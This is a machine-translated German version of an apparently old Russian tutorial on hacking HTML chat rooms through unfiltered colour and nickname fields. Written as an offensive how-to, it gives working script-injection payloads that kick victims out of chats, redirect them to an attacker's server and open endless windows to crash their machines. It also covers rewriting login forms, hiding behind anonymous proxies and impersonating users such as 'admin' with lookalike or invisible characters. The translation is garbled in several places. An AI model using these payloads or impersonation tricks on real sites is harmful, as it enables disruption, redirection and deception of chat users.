This page has been robot translated, sorry for typos if any. Original content here.

Hacking ch.1 (Theorie und Praxis)



  • Teil 1
  • Teil 2


  • Diese Seite verlangt in keiner Weise illegale Aktivitäten, "Cracker", etc. Das Hauptziel ist es, die Funktionen von HTML zu untersuchen und Fehler zu vermeiden, die mit seiner Verwendung verbunden sind. Für illegale Nutzung der bereitgestellten Informationen trägt der Autor keine Verantwortung. Über alle Fehler, die in den Chatrooms gefunden wurden, wurde die Chatverwaltung vom Autor informiert.
    Alle in dem Artikel angegebenen Beispiele werden geprüft und arbeiten in MSIE 5.50.4134.0600. Ich kann die Arbeitsfähigkeit in anderen Versionen nicht garantieren, aber ich bin mir sicher, dass praktisch alle Beispiele dort funktionieren.

    Glossar

    Hacking durch Spitznamen (Handler ohne Anführungszeichen)
    Hacking durch Spitznamen (Handler in Anführungszeichen eingeschlossen)
    Hacking durch Spitznamen (der Filter überspringt keine Anführungszeichen / Symbole)
    Hacking durch Farbe (Attribut ohne Anführungszeichen)
    Hacking durch Farbe (Attribut mit Zitaten)
    Welche Symbole möchten Sie nach Filtern überprüfen
    Handler Limiter
    Fälschung von Spitznamen, leere Spitznamen

    Allgemeine Theorie

    Hier will ich auf den Grundlagen des Hackens von Chats wohnen. Es tut mir leid vor den fortgeschrittenen Lesern - diese Methoden sind seit langem bekannt und alt wie die Welt. Wenn Sie fortgeschritten sind, können Sie sich auf die folgenden Kapitel konzentrieren.

    Zuerst möchte ich beachten, dass jeder Chat originell und einzigartig ist (mit Ausnahme von replizierten Kopien eines Tsitshka, natürlich). Denn es gibt absolut universelle Möglichkeiten, dort zu hacken. Praktisch in jedem Chat gibt es Features, die berücksichtigt werden müssen, und ohne die, stumpfe Vorlagen funktionieren nicht.

    Zuerst, was verstehe ich eigentlich, indem ich den HTML-Chat hacke? Das ist keine banale Flut und keine Angriffe auf den IP-Chat. Beim Hacken verstehen wir eine nicht autorisierte Änderung des HTML des Chatdokuments oder den Zugriff auf versteckte Teile davon (zB Privates), d.h. Solche Auswirkungen auf den Chat, der nicht zur Verfügung gestellt wurde und für Benutzer erlaubt war. Das gilt nicht nur für Chats, sondern auch für Foren, Gästebücher etc. (Wo alle beschriebenen Methoden funktionieren und noch besser, weil diese Formen in der Regel schlechter als Chats geschützt sind).

    Alle oben genannten gelten nur für HTML-Chats. Hacking Java Chats ist ein separates und ganz anderes Lied. Ich hoffe, Sie können eine Art von Chat von einem anderen unterscheiden :) ).

    Also stehen wir auf der Schwelle des HTML-Chats. Sagen wir, wir wollen es für "Stärke" testen. Was soll ich zuerst tun? Zuerst verbinden wir durch einen anonymen Proxy (ich hoffe du weißt was es ist). Dies ist aus zwei Gründen notwendig: Erstens geben wir unsere Anonymität an (das wäre der Onkel-Admin nicht auf den Arsch gedrückt), und zweitens, wenn der Admin unsere Experimente nicht mag und er das Chatfenster schließt, konnten wir wechseln Ihr Proxy zu anderen IP-Adressen und wieder in den Chat gehen. Die Wahrheit hier ist eine Sache: Der Eintritt zu einigen Chatrooms ist nicht erlaubt durch öffentliche Proxies.

    Als nächstes müssen wir herausfinden, welche Art von Waffen wir haben, das heißt, welche Attribute können vom Benutzer gesetzt werden. In der Regel können Sie in allen Chats den Spitznamen des Benutzers sowie die FARBE des Benutzers eingeben. Darüber hinaus können Sie manchmal die SOAP des Benutzers, seine Homepage, Sex, Häufigkeit der Aktualisierung des Chats, etc. In der Praxis sind solche Felder wie Farbe, Spitzname, Seife und Benutzer-Homepage von Interesse. Sie werden direkt in den Körper des Dokuments eingefügt, und deshalb ist es durch sie, dass du den Chat angreifen kannst. Es sollte beachtet werden, dass einige Chats Registrierung benötigen, und einige der Attribute sind bei der Registrierung gesetzt, und ein Teil ist kurz vor dem Eintritt in den Chat (oder bereits im Chat). Chats mit der Registrierung sind in der Regel steiler gehäuft und besser geschützt.

    > Bezeichnen Sie für sich selbst Möglichkeiten zum Hacken. Zuerst schärfen wir das Codefragment des Formulars, das die Farbe unserer Nachrichten festlegt (übrigens kann die Farbe separat für den Spitznamen und für den Text der Meldungen gesetzt werden. Sie müssen beide überprüfen, da sie auf verschiedene Weise per Chat analysiert werden können). Warum interessieren wir uns in erster Linie an Farbe? Weil die Farbe innerhalb der Tags in ihren Parametern angegeben ist, im Gegensatz zum Beispiel der Spitzname, der am häufigsten im Körper der Tags erscheint. Und zum Hacken des Chats müssen wir in die Parameter des Tags eingehen, damit du seine Attribute ändern kannst oder dein Skript einfügen kannst (manchmal können natürlich auch beliebige Tags einfach im Text der Nachrichten geschrieben werden, bis vor kurzem war es zB chat.rambler chat . Ru , aber diese Option ist so dumm, dass wahrscheinlich nicht mehr solche Chats existiert, und ich halte es nicht).

    Wir interessieren uns für welche Art von Informationen über die Farbe an den Server gesendet wird. Der am wenigsten sichere String-Typ ist, wenn die Farbe in Form eines eigenen Namens übergeben wird. Zum Beispiel:

    <select name=youcolor style="width: 70px">
    <option value=blue>синий value=blue
    <option value=red>красный
    <option value=darkred>т-красный
    <option value=green>зеленый
    <option value=black>черный value=black
    <option value=lightblue>голубой value=lightblue
    </select>

    Dieser Chat zerbricht in der Regel zu einem gewissen Grad :) . Eine schlechtere Option, wenn die Farbe in Form eines numerischen Codes zurückgegeben wird:

    <select name=youcolor style="width: 70px">
    <option value=#0000FF>синий value=#0000FF
    <option value=#AF0000>красный
    <option value=#FF0000>т-красный
    <option value=green>зеленый
    <option value=#000000>черный value=#000000
    <option value=#0000AF>голубой value=#0000AF
    </select>

    In solch einem Chat gibt es vielleicht Filter auf allen Symbolen außer Ziffern, das # Zeichen und die Buchstaben A, B, C, D, E und F. Dann musst du das Hacken durch die Farbe vergessen.

    Und schließlich die schlimmste Option, wenn die Farbe einfach als Nummer aus der Liste der akzeptablen Farben übertragen wird:

    <select name=youcolor style="width:70px">
    <option value=1>синий <
    <option value=2>красный <
    <option value=3>т-красный <
    <option value=4>зеленый <
    <option value=5>черный <
    <option value=6>голубой <
    </select>

    In der Regel kann ein solcher Chat durch die Farbe nicht gehackt werden (und oft sogar unmöglich). Dies ist die sicherste Option (übrigens, ich empfehle die Entwickler von Chatrooms).

    Als nächstes müssen wir den HTML-Code ändern, damit wir freiwillige Werte von Attributen an den Server senden können. Um dies zu tun, speichern Sie die Website auf Ihrer Festplatte und ändern Sie das Anmeldeformular zu chatten (oder registrieren) auf die folgende Weise: Ändern Sie die relative Adresse des Formular Aktion Parameter auf die vollständige Adresse. Wir ersetzen alle Tags des Typs , der mit dem Typ Text ausgeblendet ist , und markiert die Tags mit der Eingabe . Außerdem müssen Sie die Beschränkungen für die Länge des Eingabewertes (falls vorhanden) entfernen. Zum Beispiel, wenn die ursprüngliche Form die Form hatte:



    <form name="logon" method="POST" action="/cgi-bin/chat/chat.cgi">
    <table cellspacing="0" cellpadding="0">
    <tr>

    <td valign="middle">
    <small>Nickname:</small>
    <input type="text" name="username" size="12" maxlength="12" >
    </td>

    <td valign="middle"><small> TextColor:</small>
    <select name="color">

    <option selected value="black">black
    <option selected value="red">red
    <option selected value="blue">blue
    </select>

    </td>
    <td valign="middle">

    <small>
    <input type=submit value="Join Chat">
    </small>
    </td>

    <input type=hidden name=message value="logged on.">

    <input type=hidden name="logon" value="">
    <input type=hidden name=to value="Room">
    <input type=hidden name=frames value="yes">

    </td>
    </tr>
    </table>

    </form>


    Dann nach den entsprechenden Substitutionen bekommen wir:



    <form name="logon" method="POST" action="http://typachat.ru/cgi-bin/chat/chat.cgi">

    <table cellspacing="0" cellpadding="0">
    <tr>

    <td valign="middle"><small>Nickname:</small>

    <input type="text" name="username" >

    </td>

    <td valign="middle"><small> Text Color:</small>

    <input name="color">

    <option selected value="black">black
    <option selected value="red">red
    <option selected value="blue">blue

    </select>

    </td>
    <td valign="middle">

    <small>
    <input type=submit value="Join Chat">
    </small>
    </td>

    <input type=text name=message value="logged on.">

    <input type=text name="logon" value="">

    <input type=text name=to value="Room">
    <input type=text name=frames value="yes">

    </td>
    </tr>
    </table>

    </form>


    Beachten Sie, dass das Dokument dynamisch über Funktionen wie document.write () erstellt werden kann , dann müssen Sie es wahrscheinlich in eine statische Ansicht umwandeln. Darüber hinaus kommt es oft vor, dass nach dem Speichern von HTML auf die Festplatte der Chat nicht geöffnet werden soll. Dies kann durch die Tatsache verursacht werden, dass die Seite nicht vollständig gespeichert wurde, wenn sie aus Frames bestand. In diesem Fall müssen Sie die Struktur der Seite besser verstehen und alles richtig halten. Ein weiterer Grund kann sein, dass der Server das Verweisfeld des Anforderungsheaders des http verfolgt und es erkennt, dass wir nicht von seiner Seite kommen. In diesem Fall müssen Sie andere Methoden anwenden, die wir im Kapitel "Hacking auf der Ebene von http" besprechen werden.

    Jetzt können wir mit dem Chat experimentieren. Zuerst müssen Sie herausfinden, welche Filter an den Eingabewerten liegen (zuerst für Farbe und Spitzname). Wir interessieren uns in erster Linie an folgenden Symbolen:

    " " " = < Aufgaben ; \ & % Lücke

    Wir betreten sie in das Farbfeld und den Spitznamen, gehen wir in den Chatraum (wenn wir mit solchen Attributen dorthin gehen dürfen), wenn nicht, müssen wir die Charaktere eins nach dem anderen durchlaufen) und sehen, welche Symbole vom Filter verpasst wurden (das Schreiben in den Chat, den "hallo" Thread und Nachdem ich im HTML-Text beschämt habe, welche Farbe und Nickelsymbole vorhanden sind). Einige Chaträume löschen einfach gefilterte Zeichen, manche ersetzen sie durch andere Symbole und manche konvertieren in eine codierte Form des Typs < oder ' . Solche transformierten Symbole passen uns nicht an, denn HTML akzeptiert sie nicht (siehe aber das Kapitel "Noch mehr Hacken des langlebigen Chats T" für weitere Details).

    Infolgedessen müssen wir eine Liste von Zeichen haben, die für jedes Attribut des Anmeldeformulars übersprungen werden sollen.

    Als nächstes sind wir mit der Aufgabe konfrontiert, in irgendeinem Tag zu kommen, um sein Pramatra zu ändern oder sein Skript dort einzusetzen. Es gibt zwei grundlegend verschiedene Möglichkeiten, dies zu tun: Der erste ist, dass der Code, den wir brauchen, durch Attribute, die bereits innerhalb des Tags sind (dh zwischen den spitzen Klammern) - zum Beispiel durch die Farbe oder Adresse der Seife. Die zweite ist, die Struktur des HTML-Codes so zu brechen, dass der Code, den wir brauchen, innerhalb des Tags ist. Wie dies geschieht, wird durch die Analyse der spezifischen Struktur des Chat-Codes und der Menge der ungefilterten Symbole für unsere Attribute bestimmt. Wir werden in den folgenden Beispielen verschiedene Varianten des Hackens betrachten. In der Zwischenzeit würde ich gerne auf einige Features von HTML, die tatsächlich erlauben Ihnen, interessante "Effekte zu produzieren."

    Eigenschaften von HTML

    P> Hier gehe ich nicht auf HTML für Teekannen. Ich hoffe, dass Sie wissen, was ein Tag und seine Parameter sind, sind mit JavaScript vertraut und haben mindestens eine Webseite in Ihrem Leben auf HTML (und nicht in FrontPage) geschrieben.

    Das größte Problem (und gleichzeitig die Stärke) von HTML ist, dass es keinen einzigen Standard hat. Das heißt, es scheint dort zu sein, aber die Standards sind so anders, und so viele sind in HTML verflochten, dass niemand es gründlich kennt (und oft nicht weiß was es ist). Darüber hinaus führt die Konkurrenz unter den Browsern und die Heterogenität der Standorte dazu, dass die Browser versuchen, so viele Standards und Technologien wie möglich zu unterstützen. Und der Mangel an gemeinsamen Standards hat dazu geführt, dass Web-Masters auch auf einer Seite in unterschiedlicher Weise in verschiedenen Stilen mischen können: o (; Allerdings ermöglicht dies Hackern, HTML zu hacken und gibt viel Kopfschmerzen für Entwickler.

    Eine einfache Frage: Was sind die Trennzeichen in HTML und JavaScript? Auch ich kann diese Frage nicht sofort und unmissverständlich beantworten. Betrachten wir ein Beispiel:

    <font onclick= "alert()">Text</font>

    Hier ist alles klar und offensichtlich. Es gibt ein Tag, das einen Klick-Event-Handler in JavaScript geschrieben hat, dessen Text in doppelten Anführungszeichen eingeschlossen ist. Die Tatsache, dass JavaScript verwendet wird, kann explizit angegeben werden:

    <font onclick="javascript:alert()">Text</font>

    Die Begrenzer der Zeichenkette in diesen Beispielen sind doppelte Anführungszeichen. Du kannst aber auf sie verzichten. Da nach onclick = nur ein statischer Handler-String gehen kann, erlaubt HTML es, Anführungszeichen auszulassen (dies gilt für viele Fälle, in denen das Argument nur eine String-Konstante sein kann). So funktioniert das Design auch:

    <font onclick=alert()>Text</font>

    Und jetzt statt einer leeren Nachricht werden wir etwas Sinnvolles einfügen:

    <font onclick=alert('Привет друзья!')>Text</font>

    Das Öffnen des Demonstrationslinks zeigt, dass dieses Beispiel nicht funktioniert. Der Grund dafür ist: Der Körper des Handlers kann nicht in Anführungszeichen eingeschlossen werden, aber in diesem Fall wird der erste Raum als das Ende des Linienprozessors betrachtet (auch wenn der Raum selbst innerhalb der Anführungszeichen ist). Also, der Browser betrachtet nur das Alert- Fragment ('Hallo , und das Finden eines offenen Zitats markiert eine Fehlermeldung, warum reagiert der Browser nicht auf den Raum innerhalb der Anführungszeichen? Ich denke, der Grund ist, dass es hier zwei Sprachen gibt: HTML und JavaScript. Der Browser "sah", dass es kein Zitat nach dem Schild gab und deshalb nach einem Platz als Ende des Handlers suchte, aber das Innere des Handlers interessierte ihn in diesem Moment nicht, da es nicht mit HTML, sondern mit JavaScript verwandt war. Platz nach einem Pferd Die Werte der folgenden Parameter funktionieren fehlerfrei:

    <font onclick="alert('Привет друзья!')">Text</font>
    <font onclick=alert('Привет_друзья!')>Text</font>
    <font onclick="alert('Привет друзья!')"onmouseover='alert()'>Text</font>
    <font color=alert('Привет друзья!')>Text</font>

    Beachten Sie ein wichtiges Merkmal: Wenn der Wert des Tag-Parameters in Anführungszeichen steht, kann der Platz vor dem nächsten Parameter weggelassen werden (die dritte Zeile des Beispiels). Die vierte Zeile des Beispiels funktioniert auch (in dem Sinne, dass der Browser nicht schwört, aber das Skript funktioniert sicherlich nicht), weil der Browser den Inhalt der JavaScript-Attributfarbe nicht berücksichtigt und deshalb nicht auf das offene Zitat schwört, obwohl nur die Warnung (' Hallo (wie die Farbe in HTML kann eine beliebige Zeichenfolge sein, in diesem Fall der Browser konvertiert die Zeichenfolge in einen bestimmten numerischen Wert, die als eine Farbe gilt).

    Ob es andere Charaktere gibt - Begrenzer des Prozessors ohne Anführungszeichen (außer ein Leerzeichen und ein Symbol > ) - eine Frage wurde geöffnet. Ich kenne solche Leute nicht, aber ich gebe zu, dass sie sein können.

    Wie Sie aus den obigen Beispielen sehen können, können Linienbegrenzer doppelte und einfache Anführungszeichen sein. Dies gilt gleichermaßen für HTML und JavaScript, aber es stellt sich heraus, es gibt mindestens ein weiteres Zeichen, das ist das Trennzeichen von Strings in HTML (aber nicht in JavaScript!). Dies ist das Symbol des umgekehrten Apostrophs ` (meist auf demselben Schlüssel wie der Buchstabe E ). Sie können das folgende Beispiel überprüfen:

    <font onclick=`alert('Привет друзья!')`>Text</font>

    Ich schwöre, dass mindestens 90% der Webmaster nicht darüber wissen! Auf jeden Fall habe ich noch nicht gesehen, dass jemand einen umgekehrten Apostroph benutzen würde. Dieses Symbol ist ein Fund für einen Hacker :) ).

    Es kommt oft vor, dass es notwendig ist, Zitate in einigen anderen zu verwenden. Und das ist schwierig, besonders wenn der Chat nur eine Art Zitate überspringt. Aber es stellt sich heraus, JavaScript ermöglicht es Ihnen, String-Konstanten in andere String-Konstanten einfügen, und zur gleichen Zeit mit den gleichen Zitaten! Zum Beispiel:

    'javascript:st='Фиг вам';document.oncontextmenu=new Function('event.returnValue=alert(st)*0')'

    Das Beispiel verwendet verschachtelte einfache Anführungszeichen, aber der Fehlerinterpreter nicht. Ich stelle fest, dass der Inhalt der internen Zitate nicht willkürlich ist: sie sollten keine Leerzeichen enthalten, und am Ende sind einige Symbole nicht erlaubt, zum Beispiel ; Oder ) .

    Lass uns jetzt über Links reden. Zunächst ist es notwendig, diese Details zu beachten: Die Entwicklung des Internets trat so auf, dass völlig unterschiedliche Technologien darin gemischt wurden. Der Zugriff auf Informationen kann durch eine Vielzahl von verschiedenen Protokollen erfolgen. Wenn Sie also den vollständigen Pfad des Dokuments (URL) angeben, ist es erlaubt, eines der dem Browser bekannten Protokolle anzugeben. Es ist bemerkenswert, dass Javascript auch als Protokolle bezeichnet wird (obwohl es nicht ist, aber anscheinend haben die Entwickler die Ansicht vertreten, dass es zu fett wäre, ein separates Konzept für Skripte zuzuordnen, und sie wurden als Protokolle aufgeführt). Wenn Sie also eine URL in einem HTML-Dokument angeben können, können Sie ein Skript einfügen. Und dieses Skript läuft, sobald der Benutzer (oder der Browser selbst) diesen Link anfordert. Zum Beispiel:

    <a href=javascript:alert()>Text</a>

    Interessanterweise können Sie neben den Betreibern in einer JavaScript-Referenz einfach einen String (oder numerischen) Wert angeben (allerdings unbedingt nach den Operatoren, falls vorhanden). Wenn du auf einen solchen Link klickst, führt der Browser zuerst die Operatoren voran und öffnet dann ein neues Dokument und legt den Wert der letzten Zeile in den Link:

    <a href=javascript:alert();'Hello!!'>Text</a> Ich <a href=javascript:alert();'Hello!!'>Text</a> fest, dass Tags auf diese Weise nicht in eine neue Seite eingefügt werden können.

    Hacking R Chat

    Ich gebe dir ein Beispiel von einem der ersten Chats, die ich gehackt habe. Dieser Chat war sehr einfach und hackte, was von dem ersten Anruf genannt wird :) ).

    Und ein wenig jetzt gibt es Chats, in denen es geht. Obwohl ich an diese Methoden selbst dachte, aber dann fand ich sie in Hacker-Magazinen.

    Die Eingangsform dieses Chats entsprach genau dem Formular, das im Kapitel "Allgemeine Theorie" gegeben ist. Nach dem Konvertieren und Speichern des Formulars auf die Festplatte, überprüfte ich, welche Zeichen im Farbattribut passieren. Es stellte sich heraus, dass die folgenden Symbole passieren (von denen, die uns interessieren - siehe das Kapitel "Allgemeine Theorie"):

    " " = ; % Lücke

    Und natürlich sind alle Zahlen und Briefe vergangen. Die Länge des Linienwertes der Farbe war nicht begrenzt. Als nächstes sah ich wo genau die Farbe in das Telegramm eingefügt wurde. Hier ist ein Fragment dieses Rahmens:

    <font color=Black><b>Путник</b>- Alpha, привет ))</font>
    <font color=Red><b>Alpha</b>- Всемприветик !!</font>

    Wie Sie sehen können, wird die Farbe ohne Umgebungszitate eingefügt. Das passt mir Ich habe mich unter dem Spitznamen Shram (gut, oder fast unter so einem Spitznamen;)) und die Farbe rot Größe = 20 angemeldet. Mein Beitrag sah so aus:

    <font color=red size=20><b>Algol</b>- Hi</font>

    Es wurde in einem sehr großen Schriftsatz gezeigt, der die Population des Chats überraschte :) ).

    Trotz der Tatsache, dass wir die Tags nicht direkt einfügen können, erlaubt uns die Erlaubnis, einen Leerzeichen im Farbattribut einzugeben, um nicht autorisierte Parameter des Tags anzugeben. Das war aber natürlich nicht genug für mich. Ändern Sie die Schriftgröße ist sicherlich cool, aber wirklich etwas nützliches kann nur mit Skripten durchgeführt werden. Ich konnte das Skript- Tag nicht direkt einfügen (oder zu diesem Zeitpunkt habe ich noch nicht gewusst, wie es geht). Aber ich könnte den Handler zu einem Event-Tag setzen. Das ist die Farbe, die ich gefragt habe, was würde etwas Nerd aus dem Chat entfernen:
    #A0A000 onmouseover=parent.frames[2].forms[0].ExitChat.click() size=30. Und dann schickte ich ihm eine lange lange Nachricht zu privat. Die Farbe der Nachricht habe ich so abgeholt, dass es sich nicht von der Hintergrundfarbe unterscheiden würde. Und die Größe der Schriftart und die Länge der Nachricht waren so groß, dass das Opfer wahrscheinlich mindestens einmal mit der Maus auf die Nachricht ging, weshalb mein Onmouseover- Handler den "Leave Chat" Button anstelle des Benutzers drückte :) ).

    Doch allmählich gab es kluge Leute, die den Trick herausgefunden hatten, und bewusst nicht den Cursor über das Chatfenster gezogen. Mein Skript funktionierte nicht immer :( (Zuerst dachte ich, dass es keinen Ausweg gibt, denn ich kann das Skript nur als Event-Handler einfügen, dann, wenn dieses Event nicht funktioniert, dann funktioniert das Skript nicht.) Aber ich habe in die "Annalen" gegraben, jetzt habe ich eine Lösung gefunden (jetzt ist es schon trivial geworden Und es ist weithin bekannt.) Es stellte sich heraus, dass Sie im Style- Attribut die URL des Wallpaper für das Tag angeben können und wo Sie die URL angeben können, können Sie dort das Skript notieren und vor allem das Hintergrundbild wurde selbst heruntergeladen , wenn das HTML-Dokument geladen wurde! Um die Warnung an die Chat-Teilnehmer zu zeigen, habe ich mich mit der folgenden Farbe angemeldet Dies:

    style=background-image:url(javascript:alert('приветик_всем_!!'));

    Es sollte ein wichtiges Detail beachtet werden: Da die Struktur der meisten HTML-Chats so ist, dass die Seite regelmäßig aktualisiert wird, wird das so gesendete Skript mehrmals ausgeführt und viele, bis unsere Nachricht vom Bildschirm verschwindet.

    Aber hier ist, wie der Wert des Farbattributs für das Herausfallen aus dem Chat aussah:

    style=background-image:url(javascript:parent.frames[2].forms[0].ExitChat.click());

    Sie müssen sich erinnern: Das Skript, das privat geschickt wird, wird nicht nur von Ihrem "Gesprächspartner" gesehen, sondern von Ihnen selbst, also müssen Sie wissen, wie Sie sich vor dem Einfluss des Skripts schützen können. Dies kann auf zwei Arten geschehen: entweder setz dich in Ignorieren (und dann werden wir nicht sehen, Ihre eigenen Nachrichten), oder in den Browser-Einstellungen, um die Anzeige von Bildern zu verbieten. Dann wird das Skript, das durch das Hintergrundbild ausgelöst wird, nicht funktionieren.

    Jetzt möchte ich einige nützliche Skripte zeigen, die in gehackten Chats verwendet werden können:

    Javascript: navigieren ('http://myserver.ru'); - lädt myserver.ru in den aktuellen Rahmen (oder die Seite).
    Einige Chats, wenn du das http: // Fragment siehst, betrachte dies als Link und fügst automatisch das <a> Tag ein. Da dies unser Skript zerstört, sollte das nicht erlaubt sein. Um dies zu tun, einfach auslassen die http: Präfix (die bereits standardmäßig akzeptiert). Dann sieht das Skript so aus: Javascript: navigieren ('// myserver.ru'); Zwei vor dem Schrägstrich sind Pflicht.

    Javascript: parent.frames [2] .document.location = 'http: //myserver.ru' - lädt myserver.ru in einen der Frames.

    Javascript: for (;;) open () - öffnet eine unendliche Anzahl von Fenstern (wenn nicht in der Zeit navigiert, führt es zum Hang der Maschine und nachfolgenden Reboot).

    Javascript: document.write ('<script> alert () </ script>') - ersetzt den aktuellen Frame durch ein Skript, das dann ausgeführt wird. Anmerkung: Wenn chatnets die Symbole <und> überspringen (und das ist die überwältigende Anzahl von Chats), dann können wir kein solches Skript einfügen. Aber es gibt einen Ausweg. Dies ist eine Anwendung der Funktion unescape () , die den ASCII-Code eines Zeichens in ein Zeichen umwandelt. Wir ersetzen die spitzen Klammern mit der Funktion unescape () mit den entsprechenden Codes, dann sieht unser Skript so aus:

    javascript:document.write(unescape('%3C')+'script'+unescape('%3E')+'alert()'+unescape('%3C')+'/script'+unescape('%3E')) javascript:this.insertBefore(e=document.createElement('IMG'));e.src='demo.jpg' - fügt das Bild nach dem Text ein. Beachten Sie, dass Sie in IE 5.x ein anderes Tag als FRAME, IFRAME und SELECT einfügen können.

    Aber in IE 4.x können mit der Funktion createElement () nur IMG- , AREA- und OPTION- Tags eingefügt werden . Ich habe keine Informationen über Netscape, du kannst dich selbst experimentieren. 'javascript:st='Фиг вам';document.oncontextmenu=new Function('event.returnValue=alert(st)*0')' / * blockiert das Dropdown-Menü der Seite und macht daher den HTML-Inhalt des Frames unzugänglich. Dank dieser können Sie Ihre Machenschaften mit dem Körper des Chats verstecken :) ) * / Manchmal ist es sinnvoll, sich unter dem Spitznamen eines Fremden anzumelden. Chats mit einem Benutzerregistrierungssystem erlauben es Ihnen nicht, dies zu tun, wenn Sie das Passwort nicht kennen (und Sie wissen es wahrscheinlich nicht). Banal Ausgabe: Registrierung mit einem Spitznamen, in dem der Buchstabe des lateinischen Alphabets durch einen sehr ähnlichen Buchstaben des russischen Layouts ersetzt wird. Zum Beispiel, melden Sie sich unter dem Namen admin an, wo der lateinische Buchstabe a durch russisch ersetzt wird a . Die Methode ist primitiv, aber es funktioniert)). Es gibt auch schwerere Fälle. Zum Beispiel ist es in einigen Chatrooms verboten, Zeichen aus verschiedenen Layouts in einem Nick zu verwenden. Dann hat der wissbegierige Geist keine andere Wahl, als sich an Onkel Gates um Hilfe zu wenden. Und jetzt ist sie Freundlichkeit, Microsoft hat nicht vergessen, sündige Benutzer und gab uns ein Symbol ­ (Aka ­ Es ist % AD ), die die Microsoft-Firma namens "Soft Bindestrich" ("Short Bindestrich"). Es sieht wirklich wie ein Bindestrich in Wort, und in einem Excel auch, und sogar in einem Notebook, aber nicht in IE! Für Microsoft's Charakter Explorer ­ Einfach nicht existiert, das heißt, es scheint zu existieren, aber für ihn haben sie vergessen , eine grafische Darstellung zu machen. Es erscheint einfach nicht in der HTML-Seite! So, indem Sie einen kurzen Bindestrich zu einem beliebigen Spitznamen hinzufügen und sich unter ihm registrieren, geben wir den Chat mit dem Spitznamen ein, der auf der HTML-Seite wie der Spitzname ohne Bindestrich erscheint. Und du kannst noch steiler einloggen als Spitznamen, der nur kurze Bindestriche enthält. Dann wird dein Spitzname nicht im Chat angezeigt, absolut leer Platz)).

    (Anmerkung: Während ich schon ein bisschen kurz mit dem kurzen Bindestrich war, fand ich immer noch Fälle, in denen es erscheint: Es erscheint nur als Bindestrich, das heißt, wenn es einen kurzen Bindestrich innerhalb des Wortes gibt und wenn dieses Wort am Ende der Zeile ist, dann kann das Wort nach dem Bindestrich sein In die nächste Zeile verlegt werden, und der Bindestrich selbst wird sichtbar! So ist es möglich, dass der Bindestrich unsichtbar ist - das präventive Merkmal der microsoft (was aber nicht die Nützlichkeit beim Einbruch verringert :) ). Die Wahrheit ist nicht klar, warum bleibt es immer noch in anderen Anwendungen sichtbar?)



    Weitere 2 Stunden >>